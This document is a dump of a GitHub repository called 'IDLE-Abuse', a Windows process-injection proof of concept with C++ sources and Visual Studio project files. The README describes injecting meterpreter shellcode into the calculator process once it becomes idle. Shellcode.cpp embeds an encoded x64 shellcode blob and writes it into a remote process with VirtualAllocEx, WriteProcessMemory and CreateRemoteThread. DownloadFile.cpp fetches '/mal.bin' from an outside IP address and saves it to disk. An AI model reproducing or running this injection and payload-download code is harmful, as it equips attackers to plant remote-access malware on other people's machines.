├── README.md ├── RegisterWaitForInputIdle ├── DownloadFile.cpp ├── MessageBox.cpp ├── RegisterWaitForInputIdle.sln ├── RegisterWaitForInputIdle.vcxproj ├── RegisterWaitForInputIdle.vcxproj.filters ├── RegisterWaitForInputIdle.vcxproj.user ├── Shellcode.cpp └── readme.md └── random-cat.gif /README.md: -------------------------------------------------------------------------------- 1 | # IDLE-Abuse 2 | 3 | Alt text 4 | 5 | IDLE Abuse :A simple technique to detect when a Windows process becomes idle and inject malicious code into it. This technique relies on an undocumented Windows API function called RegisterWaitForInputIdle, which allows a callback function to be registered and called when a process becomes idle. 6 | 7 | The PoC, written by [Navneet Raj](https://twitter.com/_muffin31) and [ElementalX](https://twitter.com/ElementalX2) , demonstrates the use of this technique by registering a callback function that injects a meterpreter shellcode into the Windows calculator process when the process spawned by `WinExec` function becomes idle. Thanks to folks at Stack Overflow & REACT OS Source code for showing us the correct direction. 8 | 9 | 10 | Special thanks to [modexp](https://twitter.com/modexpblog) for helping us with the code overview. 11 | -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/DownloadFile.cpp: -------------------------------------------------------------------------------- 1 | //Author : Navneet & ElementalX 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | 11 | #pragma comment(lib, "wininet.lib") 12 | 13 | 14 | DWORD MyWaitForInputIdleRoutine(HANDLE hProcess, DWORD dwMilliseconds) 15 | { 16 | 17 | HINTERNET hInternet = InternetOpen(L"MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 18 | if (!hInternet) 19 | { 20 | std::cout << "Failed to initialize WinINet session\n"; 21 | return 1; 22 | } 23 | 24 | 25 | HINTERNET hConnect = InternetConnect(hInternet, L"192.xxx.xx.x", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); 26 | if (!hConnect) 27 | { 28 | std::cout << "Failed to connect to remote host\n"; 29 | InternetCloseHandle(hInternet); 30 | return 1; 31 | } 32 | 33 | HINTERNET hRequest = HttpOpenRequest(hConnect, L"GET", L"/mal.bin", NULL, NULL, NULL, 0, 0); 34 | if (!hRequest) 35 | { 36 | std::cout << "Failed to open HTTP request\n"; 37 | InternetCloseHandle(hConnect); 38 | InternetCloseHandle(hInternet); 39 | return 1; 40 | } 41 | 42 | 43 | BOOL bSendRequest = HttpSendRequest(hRequest, NULL, 0, NULL, 0); 44 | if (!bSendRequest) 45 | { 46 | std::cout << "Failed to send HTTP request\n"; 47 | InternetCloseHandle(hRequest); 48 | InternetCloseHandle(hConnect); 49 | InternetCloseHandle(hInternet); 50 | return 1; 51 | } 52 | 53 | 54 | std::ofstream outfile("C:\\Users\\Downloads\\mal.bin", std::ios::out | std::ios::binary); 55 | if (!outfile.is_open()) 56 | { 57 | std::cout << "Failed to create output file\n"; 58 | InternetCloseHandle(hRequest); 59 | InternetCloseHandle(hConnect); 60 | InternetCloseHandle(hInternet); 61 | return 1; 62 | } 63 | 64 | 65 | char buffer[1024]; 66 | DWORD dwRead = 0; 67 | while (InternetReadFile(hRequest, buffer, sizeof(buffer), &dwRead) && dwRead != 0) 68 | { 69 | outfile.write(buffer, dwRead); 70 | } 71 | 72 | 73 | outfile.close(); 74 | 75 | 76 | InternetCloseHandle(hRequest); 77 | InternetCloseHandle(hConnect); 78 | InternetCloseHandle(hInternet); 79 | 80 | return 0; 81 | } 82 | 83 | 84 | typedef DWORD(WINAPI* WaitForInputIdleType)(HANDLE, DWORD); 85 | 86 | 87 | WaitForInputIdleType UserWaitForInputIdleRoutine = NULL; 88 | 89 | 90 | VOID WINAPI RegisterWaitForInputIdle(WaitForInputIdleType lpfnRegisterWaitForInputIdle) 91 | { 92 | UserWaitForInputIdleRoutine = lpfnRegisterWaitForInputIdle; 93 | } 94 | 95 | 96 | UINT WINAPI MyWinExec(LPCSTR lpCmdLine, UINT uCmdShow) 97 | { 98 | STARTUPINFOA StartupInfo; 99 | PROCESS_INFORMATION ProcessInformation; 100 | DWORD dosErr; 101 | 102 | RtlZeroMemory(&StartupInfo, sizeof(StartupInfo)); 103 | StartupInfo.cb = sizeof(STARTUPINFOA); 104 | StartupInfo.wShowWindow = (WORD)uCmdShow; 105 | StartupInfo.dwFlags = 0; 106 | 107 | if (!CreateProcessA(NULL, 108 | (LPSTR)lpCmdLine, 109 | NULL, 110 | NULL, 111 | FALSE, 112 | 0, 113 | NULL, 114 | NULL, 115 | &StartupInfo, 116 | &ProcessInformation)) 117 | { 118 | dosErr = GetLastError(); 119 | return dosErr < 32 ? dosErr : ERROR_BAD_FORMAT; 120 | } 121 | 122 | if (NULL != UserWaitForInputIdleRoutine) 123 | { 124 | 125 | UserWaitForInputIdleRoutine(ProcessInformation.hProcess, 10000); 126 | } 127 | 128 | CloseHandle(ProcessInformation.hProcess); 129 | CloseHandle(ProcessInformation.hThread); 130 | 131 | return 33; 132 | } 133 | 134 | int main() 135 | { 136 | 137 | RegisterWaitForInputIdle(MyWaitForInputIdleRoutine); 138 | 139 | 140 | UINT result = MyWinExec("C:\\Windows\\System32\\calc.exe", SW_SHOWNORMAL); 141 | 142 | std::cout << "WinExec returned: " << result << std::endl; 143 | 144 | return 0; 145 | } -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/MessageBox.cpp: -------------------------------------------------------------------------------- 1 | //Author : Navneet & ElementalX 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | 10 | DWORD MyWaitForInputIdleRoutine(HANDLE hProcess, DWORD dwMilliseconds) 11 | { 12 | 13 | MessageBoxA(NULL, "Hello World", "POP POP", MB_OK); 14 | } 15 | 16 | 17 | typedef DWORD(WINAPI* WaitForInputIdleType)(HANDLE, DWORD); 18 | 19 | 20 | WaitForInputIdleType UserWaitForInputIdleRoutine = NULL; 21 | 22 | 23 | VOID WINAPI RegisterWaitForInputIdle(WaitForInputIdleType lpfnRegisterWaitForInputIdle) 24 | { 25 | UserWaitForInputIdleRoutine = lpfnRegisterWaitForInputIdle; 26 | } 27 | 28 | 29 | UINT WINAPI MyWinExec(LPCSTR lpCmdLine, UINT uCmdShow) 30 | { 31 | STARTUPINFOA StartupInfo; 32 | PROCESS_INFORMATION ProcessInformation; 33 | DWORD dosErr; 34 | 35 | RtlZeroMemory(&StartupInfo, sizeof(StartupInfo)); 36 | StartupInfo.cb = sizeof(STARTUPINFOA); 37 | StartupInfo.wShowWindow = (WORD)uCmdShow; 38 | StartupInfo.dwFlags = 0; 39 | 40 | if (!CreateProcessA(NULL, 41 | (LPSTR)lpCmdLine, 42 | NULL, 43 | NULL, 44 | FALSE, 45 | 0, 46 | NULL, 47 | NULL, 48 | &StartupInfo, 49 | &ProcessInformation)) 50 | { 51 | dosErr = GetLastError(); 52 | return dosErr < 32 ? dosErr : ERROR_BAD_FORMAT; 53 | } 54 | 55 | if (NULL != UserWaitForInputIdleRoutine) 56 | { 57 | 58 | UserWaitForInputIdleRoutine(ProcessInformation.hProcess, 10000); 59 | } 60 | 61 | CloseHandle(ProcessInformation.hProcess); 62 | CloseHandle(ProcessInformation.hThread); 63 | 64 | return 33; 65 | } 66 | 67 | int main() 68 | { 69 | 70 | RegisterWaitForInputIdle(MyWaitForInputIdleRoutine); 71 | 72 | 73 | UINT result = MyWinExec("C:\\Windows\\System32\\calc.exe", SW_SHOWNORMAL); 74 | 75 | std::cout << "WinExec returned: " << result << std::endl; 76 | 77 | return 0; 78 | } -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/RegisterWaitForInputIdle.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33513.286 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RegisterWaitForInputIdle", "RegisterWaitForInputIdle.vcxproj", "{EA5B3179-939D-4437-A4B5-1080BEEB2FA5}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x64.ActiveCfg = Debug|x64 17 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x64.Build.0 = Debug|x64 18 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x86.ActiveCfg = Debug|Win32 19 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x86.Build.0 = Debug|Win32 20 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x64.ActiveCfg = Release|x64 21 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x64.Build.0 = Release|x64 22 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x86.ActiveCfg = Release|Win32 23 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {34E0D929-D73F-4FAD-A99D-35C3B032F6D8} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/RegisterWaitForInputIdle.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 16.0 28 | Win32Proj 29 | {ea5b3179-939d-4437-a4b5-1080beeb2fa5} 30 | RegisterWaitForInputIdle 31 | 10.0 32 | 33 | 34 | 35 | Application 36 | true 37 | v143 38 | Unicode 39 | 40 | 41 | Application 42 | false 43 | v143 44 | true 45 | Unicode 46 | 47 | 48 | Application 49 | true 50 | v143 51 | Unicode 52 | 53 | 54 | Application 55 | false 56 | v143 57 | true 58 | Unicode 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | Level3 81 | true 82 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 83 | true 84 | 85 | 86 | Console 87 | true 88 | 89 | 90 | 91 | 92 | Level3 93 | true 94 | true 95 | true 96 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 97 | true 98 | 99 | 100 | Console 101 | true 102 | true 103 | true 104 | 105 | 106 | 107 | 108 | Level3 109 | true 110 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 111 | true 112 | 113 | 114 | Console 115 | true 116 | 117 | 118 | 119 | 120 | Level3 121 | true 122 | true 123 | true 124 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 125 | true 126 | 127 | 128 | Console 129 | true 130 | true 131 | true 132 | 133 | 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/RegisterWaitForInputIdle.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/RegisterWaitForInputIdle.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/Shellcode.cpp: -------------------------------------------------------------------------------- 1 | //Author : Navneet & ElementalX 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | unsigned char shellcode[] = 10 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef" 11 | "\xff\xff\xff\x48\xbb\x0d\xb5\x4c\xe3\x8c\xeb\x24\xb7\x48" 12 | "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xf1\xfd\xcf" 13 | "\x07\x7c\x03\xe4\xb7\x0d\xb5\x0d\xb2\xcd\xbb\x76\xe6\x5b" 14 | "\xfd\x7d\x31\xe9\xa3\xaf\xe5\x6d\xfd\xc7\xb1\x94\xa3\xaf" 15 | "\xe5\x2d\xfd\xc7\x91\xdc\xa3\x2b\x00\x47\xff\x01\xd2\x45" 16 | "\xa3\x15\x77\xa1\x89\x2d\x9f\x8e\xc7\x04\xf6\xcc\x7c\x41" 17 | "\xa2\x8d\x2a\xc6\x5a\x5f\xf4\x1d\xab\x07\xb9\x04\x3c\x4f" 18 | "\x89\x04\xe2\x5c\x60\xa4\x3f\x0d\xb5\x4c\xab\x09\x2b\x50" 19 | "\xd0\x45\xb4\x9c\xb3\x07\xa3\x3c\xf3\x86\xf5\x6c\xaa\x8d" 20 | "\x3b\xc7\xe1\x45\x4a\x85\xa2\x07\xdf\xac\xff\x0c\x63\x01" 21 | "\xd2\x45\xa3\x15\x77\xa1\xf4\x8d\x2a\x81\xaa\x25\x76\x35" 22 | "\x55\x39\x12\xc0\xe8\x68\x93\x05\xf0\x75\x32\xf9\x33\x7c" 23 | "\xf3\x86\xf5\x68\xaa\x8d\x3b\x42\xf6\x86\xb9\x04\xa7\x07" 24 | "\xab\x38\xfe\x0c\x65\x0d\x68\x88\x63\x6c\xb6\xdd\xf4\x14" 25 | "\xa2\xd4\xb5\x7d\xed\x4c\xed\x0d\xba\xcd\xb1\x6c\x34\xe1" 26 | "\x95\x0d\xb1\x73\x0b\x7c\xf6\x54\xef\x04\x68\x9e\x02\x73" 27 | "\x48\xf2\x4a\x11\xaa\x32\x9c\x57\x85\x52\x86\x7e\xe3\x8c" 28 | "\xaa\x72\xfe\x84\x53\x04\x62\x60\x4b\x25\xb7\x0d\xfc\xc5" 29 | "\x06\xc5\x57\x26\xb7\x0c\x0e\x8c\x4b\x8d\xec\x65\xe3\x44" 30 | "\x3c\xa8\xaf\x05\x1a\x65\x0d\x41\xc2\x6a\xe4\x73\x3e\x68" 31 | "\x3e\xe7\xdd\x4d\xe2\x8c\xeb\x7d\xf6\xb7\x9c\xcc\x88\x8c" 32 | "\x14\xf1\xe7\x5d\xf8\x7d\x2a\xc1\xda\xe4\xff\xf2\x75\x04" 33 | "\x6a\x4e\xa3\xdb\x77\x45\x3c\x8d\xa2\x36\x01\x2b\x68\xed" 34 | "\x4a\x99\xab\x05\x2c\x4e\xa7\x4c\xed\x00\x6a\x6e\xa3\xad" 35 | "\x4e\x4c\x0f\xd5\x46\xf8\x8a\xdb\x62\x45\x34\x88\xa3\x8e" 36 | "\xeb\x24\xfe\xb5\xd6\x21\x87\x8c\xeb\x24\xb7\x0d\xf4\x1c" 37 | "\xa2\xdc\xa3\xad\x55\x5a\xe2\x1b\xae\xbd\x2b\x4e\xba\x54" 38 | "\xf4\x1c\x01\x70\x8d\xe3\xf3\x29\xe1\x4d\xe2\xc4\x66\x60" 39 | "\x93\x15\x73\x4c\x8b\xc4\x62\xc2\xe1\x5d\xf4\x1c\xa2\xdc" 40 | "\xaa\x74\xfe\xf2\x75\x0d\xb3\xc5\x14\xec\xfa\x84\x74\x00" 41 | "\x6a\x4d\xaa\x9e\xce\xc1\x8a\xca\x1c\x59\xa3\x15\x65\x45" 42 | "\x4a\x86\x68\x82\xaa\x9e\xbf\x8a\xa8\x2c\x1c\x59\x50\xd4" 43 | "\x02\xaf\xe3\x0d\x59\x2a\x7e\x99\x2a\xf2\x60\x04\x60\x48" 44 | "\xc3\x18\xb1\x71\xbf\xcc\x18\x6c\x9e\x21\x0c\x4a\xa6\x3e" 45 | "\x8c\xe6\xeb\x7d\xf6\x84\x6f\xb3\x36\x8c\xeb\x24\xb7"; 46 | 47 | 48 | 49 | 50 | 51 | DWORD MyWaitForInputIdleRoutine(HANDLE hProcess, DWORD dwMilliseconds) 52 | { 53 | 54 | HANDLE _OpenProcess{}; 55 | HANDLE _CreateRemoteThread{}; 56 | PVOID threadrourtineshellcoderun; 57 | DWORD processID = 18532; 58 | PROCESSENTRY32 pe{}; 59 | ZeroMemory(&pe, sizeof(pe)); 60 | pe.dwSize = sizeof(PROCESSENTRY32); 61 | 62 | 63 | _OpenProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processID); 64 | 65 | LPVOID lpRemoteAddress = VirtualAllocEx(_OpenProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 66 | if (lpRemoteAddress == NULL) 67 | { 68 | std::cerr << "Failed to allocate memory in remote process" << std::endl; 69 | return GetLastError(); 70 | } 71 | 72 | 73 | if (!WriteProcessMemory(_OpenProcess, lpRemoteAddress, shellcode, sizeof(shellcode), NULL)) 74 | { 75 | std::cerr << "Failed to write shellcode to remote process memory" << std::endl; 76 | VirtualFreeEx(hProcess, lpRemoteAddress, 0, MEM_RELEASE); 77 | return GetLastError(); 78 | } 79 | 80 | 81 | 82 | 83 | HANDLE hRemoteThread = CreateRemoteThread(_OpenProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteAddress, NULL, 0, NULL); 84 | if (hRemoteThread == NULL) 85 | { 86 | std::cerr << "Failed to create remote thread" << std::endl; 87 | VirtualFreeEx(hProcess, lpRemoteAddress, 0, MEM_RELEASE); 88 | return GetLastError(); 89 | } 90 | 91 | if (hRemoteThread) { 92 | 93 | MessageBoxA(NULL, "Shellcode injected using RegisterWaitForInputIdle", "ACHIVED", MB_OK); 94 | } 95 | 96 | 97 | WaitForSingleObject(hRemoteThread, INFINITE); 98 | 99 | 100 | VirtualFreeEx(hProcess, lpRemoteAddress, 0, MEM_RELEASE); 101 | CloseHandle(hRemoteThread); 102 | 103 | return 0; 104 | } 105 | 106 | 107 | typedef DWORD(WINAPI* WaitForInputIdleType)(HANDLE, DWORD); 108 | 109 | 110 | WaitForInputIdleType UserWaitForInputIdleRoutine = NULL; 111 | 112 | 113 | VOID WINAPI RegisterWaitForInputIdle(WaitForInputIdleType lpfnRegisterWaitForInputIdle) 114 | { 115 | UserWaitForInputIdleRoutine = lpfnRegisterWaitForInputIdle; 116 | } 117 | 118 | 119 | UINT WINAPI MyWinExec(LPCSTR lpCmdLine, UINT uCmdShow) 120 | { 121 | STARTUPINFOA StartupInfo; 122 | PROCESS_INFORMATION ProcessInformation; 123 | DWORD dosErr; 124 | 125 | RtlZeroMemory(&StartupInfo, sizeof(StartupInfo)); 126 | StartupInfo.cb = sizeof(STARTUPINFOA); 127 | StartupInfo.wShowWindow = (WORD)uCmdShow; 128 | StartupInfo.dwFlags = 0; 129 | 130 | if (!CreateProcessA(NULL, 131 | (LPSTR)lpCmdLine, 132 | NULL, 133 | NULL, 134 | FALSE, 135 | 0, 136 | NULL, 137 | NULL, 138 | &StartupInfo, 139 | &ProcessInformation)) 140 | { 141 | dosErr = GetLastError(); 142 | return dosErr < 32 ? dosErr : ERROR_BAD_FORMAT; 143 | } 144 | 145 | if (NULL != UserWaitForInputIdleRoutine) 146 | { 147 | 148 | UserWaitForInputIdleRoutine(ProcessInformation.hProcess, 10000); 149 | } 150 | 151 | CloseHandle(ProcessInformation.hProcess); 152 | CloseHandle(ProcessInformation.hThread); 153 | 154 | return 33; 155 | } 156 | 157 | int main() 158 | { 159 | 160 | RegisterWaitForInputIdle(MyWaitForInputIdleRoutine); 161 | 162 | 163 | UINT result = MyWinExec("C:\\Windows\\System32\\calc.exe", SW_SHOWNORMAL); 164 | 165 | std::cout << "WinExec returned: " << result << std::endl; 166 | 167 | return 0; 168 | } -------------------------------------------------------------------------------- /RegisterWaitForInputIdle/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /random-cat.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RixedLabs/IDLE-Abuse/36e75276c1a6f664d23e34a47c4061e4060c529f/random-cat.gif --------------------------------------------------------------------------------